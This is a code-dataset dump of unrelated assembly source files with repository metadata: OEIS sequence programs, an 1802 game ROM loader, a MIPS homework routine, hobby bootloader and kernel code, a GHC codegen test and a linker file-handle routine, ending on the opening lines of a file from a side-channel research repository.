"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/084/A084010.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/084/A084010.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A084010: a(n) = (2^n concatenated with Reverse(2^n))) divided by 11.
; 1,2,4,8,151,293,586,11711,23332,46565,931291,1862582,3724264,7447538,148949851,297898793,595787596,11915660921,23831312842,47662625675,953251523491,1906502047082,3813004003174,7626008006258,152520151025251
mov $1,2
pow $1,$0
mov $0,$1
lpb $0
mul $1,10
mov $2,$0
div $0,10
mod $2,10
add $1,$2
lpe
mov $0,$1
div $0,11
| 25 | 207 | 0.7225 |
5ff8e420aadac35c396e5e16e76b5ce73333bcd6 | 5,989 | asm | Assembly | game_rom_loader.asm | ethandicks/1802-adventureland-plus | bdf8f541040f5e581c884a0af7ee927cd87b7b48 | [
"BSD-2-Clause"
] | null | null | null | game_rom_loader.asm | ethandicks/1802-adventureland-plus | bdf8f541040f5e581c884a0af7ee927cd87b7b48 | [
"BSD-2-Clause"
] | null | null | null | game_rom_loader.asm | ethandicks/1802-adventureland-plus | bdf8f541040f5e581c884a0af7ee927cd87b7b48 | [
"BSD-2-Clause"
] | null | null | null | ;__________________________________________________________________________________________________
; Macro definitions
INCL "macros.asm"
;__________________________________________________________________________________________________
; The game loader starts at address CA00 in the ROM image
; (On entry, R0 is our program counter)
CPU 1802
ORG $D000
; Setup code to initialize the stack and SCRT registers
; SETUP R2 (Stack)
LDI HIGH STACK
PHI R2
LDI LOW STACK
PLO R2 ;STACK = 7F6FH
SEX R2 ;X = 2
; SETUP R4 (CALL PC)
LDI HIGH CALL
PHI R4
LDI LOW CALL
PLO R4 ;R4 = PC FOR CALL SUBROUTINE
; SETUP R5 (RETURN PC)
LDI HIGH RETURN
PHI R5
LDI LOW RETURN
PLO R5 ;R5 = PC FOR RETURN SUBROUTINE
;SETUP R3 AS OUR NEW PC
LDI HIGH LoaderStart
PHI R3
LDI LOW LoaderStart
PLO R3
SEP R3 ;CHANGE PC FROM R0 TO R3
; When calling a subroutine:
; - accumulator value D is passed through
; - R6 is preserved but not passed through
; - RF.1 is trashed.
; When in a subroutine, R6=Caller
;__________________________________________________________________________________________________
; Decompressor code
INCL "decompress.asm"
;__________________________________________________________________________________________________
; Main logic for game loader
LoaderStart
; set up baud rate register
LDI HIGH BAUD
PHI R7
LDI LOW BAUD
PLO R7
LDA R7
PHI RE
LDN R7
PLO RE
; decompress Splash screen into RAM
LDI $C9
PHI R7
LDI $9B
PLO R7 ; R7 points to the size of the compressed block
LDA R7
PHI R8
LDA R7 ; now R7 points to the size of the uncompressed text
ADI $9F
PLO R8
GHI R8
ADCI $C9
PHI R8 ; R8 points to one byte past the end of the compressed data
LDI $00 ; decompressed data should be stored at $0013
PHI R9
LDI $13
PLO R9
LDA R7
ADI $13
PLO RA
LDA R7 ; now R7 points to the start of the compressed data
ADCI $00
PHI RA ; RA points to one byte past the end of the uncompressed data
SEP R4
DW Do_ULZ_Decompress ; defined in decompress.asm
; check for errors
BZ SplashOkay
LBR DecompressFailed
SplashOkay
; null-terminate the splash screen string
STR R9
; print the splash screen
LDI $00
PHI R7
LDI $13
PLO R7
SEP R4
DW MON_OUTSTR
; find the end of the first block of text
FindTextEnd
INC R7
LDN R7
BNZ FindTextEnd
; did we just print everything that was decompressed?
LDI $01
PLO RA ; RA is our "print again" flag
GHI R9
STR R2
GHI R7
SM
BNZ KeyWait
GLO R9
STR R2
GLO R7
SM
BNZ KeyWait
DEC RA ; we already printed everything
KeyWait
; wait for a keypress
SEP R4
DW MON_INPUT
; should we print another message?
GLO RA
BZ PrintDecompressing
; Yes, print the instructions (following the splash screen) now
INC R7
SEP R4
DW MON_OUTSTR
PrintDecompressing
; print Decompressing message
LDI HIGH StartingMsg
PHI R7
LDI LOW StartingMsg
PLO R7
SEP R4
DW MON_OUTSTR
; decompress Adventureland program into RAM
LDI HIGH CompressedSize
PHI R7
LDI LOW CompressedSize
PLO R7 ; R7 points to the size of the compressed block
LDA R7
PHI R8
LDA R7 ; now R7 points to the size of the uncompressed game data, little endian
PLO R8 ; R8 holds the compressed data size
ADI LOW (CompressedSize+4)
PLO R8
GHI R8
ADCI HIGH (CompressedSize+4)
PHI R8 ; R8 points to one byte past the end of the compressed data
LDI $00
PHI R9
LDI $13
PLO R9 ; R9 decompressed data should be stored at $0013
LDA R7
ADI $13
PLO RA
LDA R7 ; now R7 points to the start of the compressed data
ADCI $00
PHI RA
SEP R4
DW Do_ULZ_Decompress ; defined in decompress.asm
; check for errors
BZ DecompressOkay
; not okay
DecompressFailed
PHI R1 ; put error code in R1 so developer can see it in the monitor
LDI HIGH ErrorMsg
PHI R7
LDI LOW ErrorMsg
PLO R7
SEP R4
DW MON_OUTSTR
Exit
LDI $8B
PHI R0
LDI $5E
PLO R0
SEX R0
SEP R0 ; jump back to the monitor program
; write LBR instruction at 0010 to jump into the game program
DecompressOkay
LDI HIGH GameStartAddr ; starting address of the game in RAM is stored here by build_rom.py
PHI R7
LDI LOW GameStartAddr
PLO R7 ; R7 points to the size of the starting address of the game
LDI $00
PHI R8
LDI $10
PLO R8
LDI $C0
STR R8
INC R8
LDA R7 ; high byte of game start addresss
STR R8
INC R8
LDA R7 ; low byte of game start address
STR R8
; Jump to start the game
LBR $0010
;__________________________________________________________________________________________________
; Read-only Data
StartingMsg BYTE "\r\n\nDecompressing...", 0
ErrorMsg BYTE "\r\n\nDecompress failed.\r\n", 0
; These 3 fields must be at the end of the file
; They will get replaced with the correct values by the build script
GameStartAddr DW 0
CompressedSize DW 0
GameRamSize DW 0
END
| 25.814655 | 108 | 0.596928 |
9e53aa7006209c2c79ed1961665ea853752e3817 | 1,069 | asm | Assembly | HW3/ChristianWebber-HW3-2.asm | vonderborch/CS260 | ff435317be557c10f131f99184e944ef2ada7cdf | [
"MIT"
] | null | null | null | HW3/ChristianWebber-HW3-2.asm | vonderborch/CS260 | ff435317be557c10f131f99184e944ef2ada7cdf | [
"MIT"
] | null | null | null | HW3/ChristianWebber-HW3-2.asm | vonderborch/CS260 | ff435317be557c10f131f99184e944ef2ada7cdf | [
"MIT"
] | null | null | null | .text
.globl MAIN
MAIN:
#set n
li $a0, 3
# clear v1
li $v1, 0
#call fib
jal GIB
#exit program
li $v0, 10
syscall
GIB:
#if i < 2, special rules
slti $t0, $a0, 2
#if n>=2 then goto GIBMAIN end
beq $t0, $zero, GIBMAIN
#setup temp stack
addi $sp, $sp, -4
sw $ra, 0($sp)
#else if 0 return 0, if 1 return 0
addi $v1, $zero, 1
beq $a0, $zero, GIBRETURN
#load return pointer and pop stack
lw $ra, 0($sp)
addi $sp, $sp, 16
#return
jr $ra
GIBRETURN:
#return zero
add $v1, $zero, $zero
jr $ra
GIBMAIN:
#setup stack
addi $sp, $sp, -16
sw $ra, 0 ($sp)
sw $a0, 4 ($sp)
#calculate n-1
addi $a0, $a0, -1
jal GIB
#multiply n-1 by 3 and store result
mul $v1, $v1, 3
sw $v1, 8($sp)
#load n
lw $a0, 4($sp)
#calculate n-2
addi $a0, $a0, -2
jal GIB
#multiply n-2 by 2 and store result
mul $v1, $v1, 2
sw $v1, 12($sp)
#load return address and n-1, n-2 and pop stack
lw $ra, 0 ($sp)
lw $t0, 8($sp)
lw $t1, 12($sp)
addi $sp, $sp, 12
#calculate 3(n-1) + 2(n-2) + 1
add $t0, $t0, $t1
addi $v1, $t0, 1
#return
jr $ra
| 14.253333 | 48 | 0.576239 |
44034cb0546d269bd77e33bd244631b81243732d | 811 | asm | Assembly | programs/oeis/216/A216195.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/216/A216195.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/216/A216195.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A216195: Abelian complexity function of the period-doubling sequence (A096268).
; 2,2,3,2,3,3,3,2,3,3,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,5,4,5,4,4,3,4,4,5,4,5,4,4,3,4,4,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,4,4,3,4,4,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,6,5,6,5,5,4,5,5,6,5,6,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,6,5,6,5,5,4,5,5,6,5,6,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,4,4,3,4,4
add $0,1
lpb $0,1
sub $0,1
add $2,2
add $3,6
add $3,$2
cal $0,80776 ; Oscillating sequence which rises to 2^(k-1) in k-th segment (k>=1) then falls back to 0.
mov $1,4
mul $1,$3
mov $2,1
lpe
div $1,36
add $1,2
| 47.705882 | 501 | 0.552404 |
549ce99b627cebffe769afbce8b0b5fa1b49d487 | 484 | asm | Assembly | Kernel/asm/libasm.asm | Estebank94/ClicOSNapEdition | ee38cd79c691d5153f9e9fef35a700c582970326 | [
"BSD-3-Clause"
] | null | null | null | Kernel/asm/libasm.asm | Estebank94/ClicOSNapEdition | ee38cd79c691d5153f9e9fef35a700c582970326 | [
"BSD-3-Clause"
] | null | null | null | Kernel/asm/libasm.asm | Estebank94/ClicOSNapEdition | ee38cd79c691d5153f9e9fef35a700c582970326 | [
"BSD-3-Clause"
] | 1 | 2018-04-12T05:06:42.000Z | 2018-04-12T05:06:42.000Z | GLOBAL cpuVendor
GLOBAL _hlt
GLOBAL _int
section .text
cpuVendor:
push rbp
mov rbp, rsp
push rbx
mov rax, 0
cpuid
mov [rdi], ebx
mov [rdi + 4], edx
mov [rdi + 8], ecx
mov byte [rdi+13], 0
mov rax, rdi
pop rbx
mov rsp, rbp
pop rbp
ret
; -----------------------------------------------------------------------------
; Halts the CPU until a new interruption is set.
; -----------------------------------------------------------------------------
_hlt:
hlt
ret | 13.444444 | 79 | 0.438017 |
432eab9ce8cc97e9a799bc0f996ce0fa91dd45c2 | 1,051 | asm | Assembly | programs/oeis/047/A047209.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/047/A047209.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/047/A047209.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A047209: Numbers that are congruent to {1, 4} mod 5.
; 1,4,6,9,11,14,16,19,21,24,26,29,31,34,36,39,41,44,46,49,51,54,56,59,61,64,66,69,71,74,76,79,81,84,86,89,91,94,96,99,101,104,106,109,111,114,116,119,121,124,126,129,131,134,136,139,141,144,146,149,151,154,156,159,161,164,166,169,171,174,176,179,181,184,186,189,191,194,196,199,201,204,206,209,211,214,216,219,221,224,226,229,231,234,236,239,241,244,246,249,251,254,256,259,261,264,266,269,271,274,276,279,281,284,286,289,291,294,296,299,301,304,306,309,311,314,316,319,321,324,326,329,331,334,336,339,341,344,346,349,351,354,356,359,361,364,366,369,371,374,376,379,381,384,386,389,391,394,396,399,401,404,406,409,411,414,416,419,421,424,426,429,431,434,436,439,441,444,446,449,451,454,456,459,461,464,466,469,471,474,476,479,481,484,486,489,491,494,496,499,501,504,506,509,511,514,516,519,521,524,526,529,531,534,536,539,541,544,546,549,551,554,556,559,561,564,566,569,571,574,576,579,581,584,586,589,591,594,596,599,601,604,606,609,611,614,616,619,621,624
mov $1,$0
mul $1,5
add $1,3
div $1,2
| 131.375 | 957 | 0.726927 |
0dc3937c6981a051bfcb134a8d318206f7dcd90a | 3,213 | asm | Assembly | Bootie/boot2.asm | romildojuliano/BootLoader8086 | 4f5e2de2acb24e9a3afc0b49665ed31dfe95237b | [
"BSD-2-Clause"
] | null | null | null | Bootie/boot2.asm | romildojuliano/BootLoader8086 | 4f5e2de2acb24e9a3afc0b49665ed31dfe95237b | [
"BSD-2-Clause"
] | null | null | null | Bootie/boot2.asm | romildojuliano/BootLoader8086 | 4f5e2de2acb24e9a3afc0b49665ed31dfe95237b | [
"BSD-2-Clause"
] | null | null | null | org 0x500
jmp 0x0000:start
line1 db 'Carregando informacoes necessarias ao kernel', 0
line2 db 'Configurando modo do kernel', 0
line3 db 'Alocando kernel na memoria', 0
line4 db 'O kernel esta pronto para ser iniciado', 0
line5 db 'Iniciando', 0
line6 db ' [OK]', 0
final db '...', 0
start:
mov bl, 12
call clear
step1:
mov cx, 3
mov si, line1
call printLine
mov si, final
call printEnd
call erase
mov si, line6
call printOk
call newLine
step2:
mov cx, 3
mov si, line2
call printLine
mov si, final
call printEnd
call erase
mov si, line6
call printOk
call newLine
step3:
mov cx, 3
mov si, line3
call printLine
mov si, final
call printEnd
call erase
mov si, line6
call printOk
call newLine
step4:
mov cx, 3
mov si, line4
call printLine
mov si, final
call printEnd
call erase
mov si, line6
call printOk
call newLine
step5:
mov si, line5
call printLine
mov si, final
call printFinal
xor ax, ax
mov ds, ax
mov es, ax
mov ax, 0x7e0 ;0x7e0<<1 = 0x7e00 (início de kernel.asm)
mov es, ax
xor bx, bx ;posição es<<1+bx
jmp reset
clear:
mov ah, 0x2
mov dx, 0
mov bh, 0
int 10h
mov al, 0x20
mov ah, 0x9
mov bh, 0
mov cx, 1000
int 10h
mov bh, 0
mov dx, 0
mov ah, 0x2
int 10h
ret
printLine:
lodsb
cmp al, 0
je return
mov ah, 0xe
int 10h
mov dx, 200
call timing
jmp printLine
putchar_green:
mov ah, 09h
mov bh, 0
mov bl, 2h
mov cx, 1
int 10h
mov ah, 0eh
int 10h
ret
printEnd:
lodsb
cmp al, 0
je return
mov ah, 0xe
int 10h
mov dx, 2000
call timing
jmp printEnd
printFinal:
lodsb
cmp al, 0
je return
mov ah, 0xe
int 10h
mov dx, 3000
call timing
jmp printFinal
printOk:
loop_Ok:
lodsb
cmp al, 0
je return
call putchar_green
jmp printOk
erase:
for:
dec cx
mov al, 0x08
mov ah, 0eh
int 10h
mov al, ''
mov ah, 0eh
int 10h
mov al, 0x08
mov ah, 0eh
int 10h
cmp cx, 0
jne for
ret
return:
ret
timing:
mov bp, dx
uselessFor:
dec bp
nop
jnz uselessFor
dec dx
cmp dx, 0
jnz uselessFor
ret
newLine:
mov al, 10
mov ah, 0eh
int 10h
mov al, 13
mov ah, 0eh
int 10h
ret
reset:
mov ah, 00h ;reseta o controlador de disco
mov dl, 0 ;floppy disk
int 12h
jc reset ;se o acesso falhar, tenta novamente
jmp load
load:
mov ah, 02h ;lê um setor do disco
mov al, 20 ;quantidade de setores ocupados pelo kernel
mov ch, 0 ;track 0
mov cl, 3 ;sector 3
mov dh, 0 ;head 0
mov dl, 0 ;drive 0
int 13h
jc load ;se o acesso falhar, tenta novamente
jmp 0x7e00 ;pula para o setor de endereco 0x7e00 (start do kernel)
| 14.030568 | 71 | 0.542484 |
2eaac1eed04e1aa935748d44566b0947e47618f8 | 1,834 | asm | Assembly | kernel.asm | Roflcoffel/AnzuOS | 073f212daa38603e27cd1c054999654c1529ffa8 | [
"MIT"
] | null | null | null | kernel.asm | Roflcoffel/AnzuOS | 073f212daa38603e27cd1c054999654c1529ffa8 | [
"MIT"
] | null | null | null | kernel.asm | Roflcoffel/AnzuOS | 073f212daa38603e27cd1c054999654c1529ffa8 | [
"MIT"
] | null | null | null | BITS 16
start:
mov ax, 07C0h ; 4K stack space after bootloader
add ax, 288 ; (4096 + 512) / 16 bytes per paragraph
mov ss, ax
mov sp, 4096
mov ax, 07C0h ; set data segment
mov ds, ax
mov si, my_text
call clear
call print_string
call prompt
call handle_keystroke
jmp $
my_text db 'Welcome to AnzuOS!', 0
print_char:
mov ah, 0Eh ; Prints character stored in AL
int 10h ; Display Interrupt
ret
print_string: ; Ouput string in SI to screen
mov ah, 0Eh
.repeat:
lodsb ; Load byte from si to al and increment si
cmp al, 0h
je .newline
int 10h
jmp .repeat
.newline:
mov al, 0Ah ; (10 = \n) New Line Character
int 10h
mov al, 0Dh ; (13 = \r) Carriage return
int 10h
ret
prompt:
mov al, 3Eh ; (62 = >) Greater than sign
int 10h
mov ah, 01h ; Change Cursor to Block Shaped
mov cl, 07h
mov ch, 00h
int 10h
ret
clear:
mov ah, 00h ; Set Video mode
mov al, 03h ; 80x25 Video Mode
int 10h
mov ax, 0600h ; Scroll up
mov bh, 1Fh ; 1h = blue, background, fh = White, foreground
mov cx, 0000h ; CH=00H TOP , CL=00h LEFT
mov dx, 1950h ; DH=19h BOTTOM, DL=50h RIGHT;
int 10h
ret
%include "keyboard.asm"
times 510-($-$$) db 0 ; Pad boot sector with 0s
dw 0xAA55 ; PC boot signature
;Color Map
;0 0000 black
;1 0001 blue
;2 0010 green
;3 0011 cyan
;4 0100 red
;5 0101 magenta
;6 0110 brown
;7 0111 light gray
;8 1000 dark gray
;9 1001 light blue
;A 1010 light green
;B 1011 light cyan
;C 1100 light red
;D 1101 light magenta
;E 1110 yellow
;F 1111 white
;Ledger for Interrups
; int 10h - Display
; int 16h - Keyboard
| 19.934783 | 69 | 0.583424 |
4c5c20bfdfc2c77225d8da7168fbec5732e52c85 | 284 | asm | Assembly | testsuite/tests/codeGen/should_gen_asm/memset-unroll.asm | ocharles/ghc | f0fcc41d755876a1b02d1c7c79f57515059f6417 | [
"BSD-3-Clause"
] | 51 | 2017-01-12T14:08:50.000Z | 2021-03-24T06:01:41.000Z | testsuite/tests/codeGen/should_gen_asm/memset-unroll.asm | ocharles/ghc | f0fcc41d755876a1b02d1c7c79f57515059f6417 | [
"BSD-3-Clause"
] | 296 | 2017-07-05T14:35:23.000Z | 2021-07-30T13:23:00.000Z | testsuite/tests/codeGen/should_gen_asm/memset-unroll.asm | ocharles/ghc | f0fcc41d755876a1b02d1c7c79f57515059f6417 | [
"BSD-3-Clause"
] | 14 | 2018-08-04T13:38:39.000Z | 2021-10-11T03:52:36.000Z | .text
.align 8
.globl callMemset
.type callMemset, @object
callMemset:
.Lc5:
movl $16843009,0(%rbx)
movl $16843009,4(%rbx)
movl $16843009,8(%rbx)
movl $16843009,12(%rbx)
jmp *(%rbp)
.size callMemset, .-callMemset
.section .note.GNU-stack,"",@progbits
.ident "GHC 7.9.20140311"
| 18.933333 | 37 | 0.697183 |
dbc31af77bfde8ee41a2b7709a4513aa1dc9c41f | 58 | asm | Assembly | tests/inputs/test_structural_hazards/test_LSU_RS_hazard/LSU_RS_hazard.asm | danielstumpp/tomasulo-simulator | 54fd896adc6a7bcb098ad51cc35e7127ef7911b5 | [
"MIT"
] | null | null | null | tests/inputs/test_structural_hazards/test_LSU_RS_hazard/LSU_RS_hazard.asm | danielstumpp/tomasulo-simulator | 54fd896adc6a7bcb098ad51cc35e7127ef7911b5 | [
"MIT"
] | 6 | 2021-11-13T03:26:46.000Z | 2021-11-17T15:20:10.000Z | tests/inputs/test_structural_hazards/test_LSU_RS_hazard/LSU_RS_hazard.asm | danielstumpp/tomasulo-simulator | 54fd896adc6a7bcb098ad51cc35e7127ef7911b5 | [
"MIT"
] | null | null | null | ld, F1, 4(R1)
ld, F2, 16(R1)
ld, F3, 48(R1)
sd, F1, 12(R1) | 14.5 | 14 | 0.534483 |
44fe498af73926eaeff3d9552b15475f15faf7bb | 839 | asm | Assembly | oeis/142/A142396.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142396.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142396.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142396: Primes congruent to 45 mod 47.
; Submitted by Jon Maiga
; 139,233,421,797,1361,1549,1831,2113,2207,2677,3617,4463,4651,4933,5309,5591,5779,6343,6719,6907,7001,7283,7753,8317,8599,8693,9257,9539,10009,10103,10667,10949,11701,12547,12641,12829,12923,13487,14051,14897,15461,15649,16871,17341,17623,19597,19973,20161,20443,21101,21383,22229,22511,22699,23357,23827,24109,24203,24391,24767,25237,25801,26083,26177,26459,26647,27211,28057,28151,28433,28621,30313,30689,30971,31159,31253,31723,31817,32099,32381,32569,33791,34261,34543,34919,35107,35201,35671
mov $1,42
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $1,20
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,67
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mul $1,2
mov $0,$1
sub $0,133
| 33.56 | 497 | 0.727056 |
9b2606c74f9aa8c45e32ffd4f48c101dd92f106f | 899 | asm | Assembly | data/pokemon/base_stats/meganium.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/base_stats/meganium.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/base_stats/meganium.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 2 | 2021-08-11T19:47:07.000Z | 2022-01-01T07:07:56.000Z | db 0 ; species ID placeholder
db 80, 82, 100, 80, 83, 100
; hp atk def spd sat sdf
db GRASS, GRASS ; type
db 45 ; catch rate
db 208 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F12_5 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/meganium/front.dimensions"
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_MONSTER, EGG_PLANT ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm TOXIC, BULLET_SEED, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, LIGHT_SCREEN, PROTECT, GIGA_DRAIN, SAFEGUARD, FRUSTRATION, SOLARBEAM, IRON_TAIL, EARTHQUAKE, RETURN, DOUBLE_TEAM, REFLECT, FACADE, SECRET_POWER, REST, ATTRACT, ENERGY_BALL, ENDURE, GIGA_IMPACT, FLASH, SWORDS_DANCE, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, GRASS_KNOT, SWAGGER, SUBSTITUTE, CUT, STRENGTH, ROCK_SMASH, ROCK_CLIMB, ANCIENTPOWER, FRENZY_PLANT, FURY_CUTTER, MUD_SLAP, OUTRAGE, SEED_BOMB, SNORE, SYNTHESIS
; end
| 44.95 | 475 | 0.756396 |
130a2519b58092469f24cd8d5e1378d51d0f9ac3 | 1,118 | asm | Assembly | ntio/recohndl.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | ntio/recohndl.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | ntio/recohndl.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE RECOHNDL - Copyright (C) SLR Systems 1994
INCLUDE MACROS
INCLUDE LIBRARY
INCLUDE WIN32DEF
PUBLIC RECOVER_HANDLE
.DATA
EXTERNDEF LAST_LIB_GINDEX:DWORD,CURN_LIBNUM:DWORD,CURNLIB_GINDEX:DWORD
EXTERNDEF LIBRARY_GARRAY:STD_PTR_S
.CODE PASS1_TEXT
EXTERNDEF _close_handle:proc
RECOVER_HANDLE PROC
;
;DID WE FAIL FROM LACK OF HANDLES?
;
CALL GetLastError
CMP EAX,4 ;OUT OF HANDLES?
JNZ L9$ ;NO, DIFFERENT ERROR, ABORT
BITT HANDLES_EXPANDED
JNZ L05$
SETT HANDLES_EXPANDED
PUSH 255
CALL SetHandleCount
CMP AL,AL
RET
L05$:
MOV EAX,LAST_LIB_GINDEX
MOV EDX,CURNLIB_GINDEX
TEST EAX,EAX ;ANY LIBS?
JZ L9$ ;NO, ABORT
L1$:
CONVERT ECX,EAX,LIBRARY_GARRAY
ASSUME ECX:PTR LIBRARY_STRUCT
CMP EAX,EDX
JZ L3$ ;SKIP ME
MOV EAX,[ECX]._LS_HANDLE
TEST EAX,EAX
JNZ L5$ ;CLOSE IF OPEN
L3$:
MOV EAX,[ECX]._LS_PREV_LIB_GINDEX ;MORE LIBS?
TEST EAX,EAX
JNZ L1$ ;YES, JUMP
L9$:
OR AL,-1
CMP ESP,-1
RET
L5$:
MOV [ECX]._LS_HANDLE,0
push EAX
call _close_handle
add ESP,4
CMP AL,AL
RET
RECOVER_HANDLE ENDP
END
| 12.850575 | 72 | 0.692308 |
739ad817b37889023eba4e2e91ab5bacbf03d986 | 562 | asm | Assembly | programs/oeis/027/A027555.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/027/A027555.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/027/A027555.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A027555: Triangle of binomial coefficients C(-n,k).
; 1,1,-1,1,-2,3,1,-3,6,-10,1,-4,10,-20,35,1,-5,15,-35,70,-126,1,-6,21,-56,126,-252,462,1,-7,28,-84,210,-462,924,-1716,1,-8,36,-120,330,-792,1716,-3432,6435,1,-9,45,-165,495,-1287,3003,-6435,12870,-24310,1,-10,55,-220,715,-2002,5005,-11440,24310,-48620,92378,1,-11,66,-286,1001,-3003,8008,-19448,43758,-92378,184756,-352716,1,-12,78,-364,1365,-4368,12376,-31824,75582,-167960,352716,-705432,1352078,1,-13,91,-455,1820,-6188,18564,-50388,125970
mov $2,$0
lpb $2
sub $1,1
add $2,$1
lpe
bin $1,$2
mov $0,$1
| 51.090909 | 442 | 0.653025 |
3df30b619e2f3a6f8089fc9adea4f5f4af0e5155 | 620 | asm | Assembly | programs/oeis/313/A313929.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/313/A313929.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/313/A313929.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A313929: Coordination sequence Gal.6.334.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,10,16,22,28,34,40,46,52,57,62,67,72,78,84,90,96,102,108,114,119,124,129,134,140,146,152,158,164,170,176,181,186,191,196,202,208,214,220,226,232,238,243,248,253,258,264,270,276
mov $2,$0
cal $0,312685 ; Coordination sequence Gal.6.253.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
add $0,5
div $0,2
sub $0,2
mov $1,$0
mov $3,$2
mul $3,3
add $1,$3
| 47.692308 | 182 | 0.730645 |
8026c1000f2d8190f1cc50b707997b9fd7b15667 | 5,605 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1663.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1663.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1663.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %rax
push %rbp
push %rbx
